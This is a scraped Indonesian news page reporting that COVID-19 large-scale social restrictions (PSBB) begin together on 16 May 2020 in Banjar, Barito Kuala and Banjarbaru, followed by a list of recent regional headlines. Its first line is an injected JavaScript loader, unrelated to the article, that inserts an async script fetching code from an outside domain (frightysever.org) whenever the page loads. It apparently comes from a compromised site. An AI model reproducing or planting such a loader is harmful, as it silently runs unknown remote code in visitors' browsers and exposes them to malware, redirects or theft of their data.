(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Categories: HEADLINE

PSBB di Banjarbaru-Banjar-Batola Serentak Dimulai Sabtu 16 Mei


KANALKALIMATAN.COM, BANJARBARU – Setelah pengajuan Pembatasan Sosial Berskala Besar (PSBB) untuk Kabupaten Banjar, Kabupaten Barito Kuala dan Kota Banjarbaru disetujui oleh Kementerian Kesehatan RI, ketiga wilayah secara serentak melaksanakan PSBB.

Ketua Harian Gugus Tugas Percepatan Penanganan Covid-19 Kalimantan Selatan Abdul Haris Makkie di Gedung Idham Chalid Banjarbaru, Rabu (13/5/2020) sore, mengatakan, dari hal-hal yang bersifat teknis hingga hal-hal yang sifatnya non teknis seperti pelaksanaan pengamanan-pengamanan terkait dengan PSBB tersebut, kesehatan sampai dengan jaring pengaman sosial, rata-rata sudah dipersiapkan sampai ke lembaga atau unsur pelaksanaan PSBB tersebut.

Sehingga, dengan melihat kesiapan tiga daerah penyangga Kota Banjarmasin yang terlebih dahulu menerapkan PSBB, Sekda Provinsi Kalsel ini memastikan, pelaksanaan PSBB untuk Kabupaten Banjar, Kabupaten Barito Kuala dan Kota Banjarbaru akan dimulai serentak pada Sabtu (16/5/2020) dinihari.

“Kita sudah sepakat bahwa PSBB di tiga daerah itu dimulai pada 16 Mei 2020 jam 00:01 Wita, sesuai dengan protokol,” tegas Haris Makkie.

Sebelum penerapan PSBB pada Sabtu (16/5/2020) mendatang, ketiga daerah ini akan melakukan sosialisasi terlebih dahulu kepada masyarakat. Di samping sosialisasi, ketiga daerah ini juga akan mendirikan posko-posko di beberapa titik yang telah ditetapkan.

Sebagai acuan pelaksanaan PSBB di tiga kabupaten dan kota ini, Pemprov Kalsel tengah menyiapkan Pergub Kalsel. Menurut Haris Makkie, dalam Pergub terdapat pedoman dalam pelaksanaan PSBB, termasuk untuk kabupaten yang menerapkan PSBB, dan bertetangga langsung dengan provinsi tetangga. Seperti Kabupaten Barito Kuala yang berbatasan dengan wilayah Provinsi Kalimantan Tengah.

“Persoalan nanti ada jam malam, daerah masing-masing yang merasa perlu untuk diperlukannya jam malam atau tidak. Jangan sampai keluar dari acuan yang menjadi panduan bagi kabupaten dan kota,” pungkas Haris. (kanalkalimantan.com/fikri)

 

Reporter : Fikri
Editor : Bie

 


Desy Arfianty

Recent Posts

Diakhiri Nobar Timnas, Pj Bupati Kapuas Menutup Expo Kapuas 2024

KANALKALIMANTAN.COM, KUALA KAPUAS - Penjabat (Pj) Bupati Kapuas Erlin Hardi secara resmi menutup gelaran Expo… Read More

2 jam ago

Bingkisan Kebahagiaan PLN untuk Warga Kalsel yang Membutuhkan

KANALKALIMANTAN.COM, BANJARBARU - PT PLN (Persero) Unit Induk Penyaluran dan Pusat Pengatur (UIP3B) Kalimantan melalui… Read More

3 jam ago

Asa Warga Banjarmasin Timnas Indonesia Masuk Olimpiade Paris 2024

KANALKALIMANTAN.COM, BANJARMASIN - Nonton bareng (Nobar) laga semifinal AFC U-23 Indonesia vs Uzbekistan di halaman… Read More

3 jam ago

Ini Tiga Rekor Muri Sebagai Kado HUT ke-73 Kabupaten Kapuas

KANALKALIMANTAN.COM, KUALA KAPUAS – Tiga rekor Museum Rekor Indonesia (Muri) menjadi catatan kado Hari Jadi… Read More

3 jam ago

Ritual Laluhan dan Ngarunya Lengkapi Perayaan HUT ke-73 Kabupaten Kapuas

KANALKALIMANTAN.COM, KUALA KAPUAS - Momen perayaan Hari Jadi ke-218 Kota Kuala Kapuas dan Hari Ulang… Read More

3 jam ago

Laga Terakhir Timnas Indonesia Berharap Juara Ketiga Piala Asia U-23

KANALKALIMANTAN.COM, BANJARBARU - Tim Nasional (Timnas) Indonesia U-23 dipastikan gagal melaju ke final Piala Asia… Read More

5 jam ago

This website uses cookies.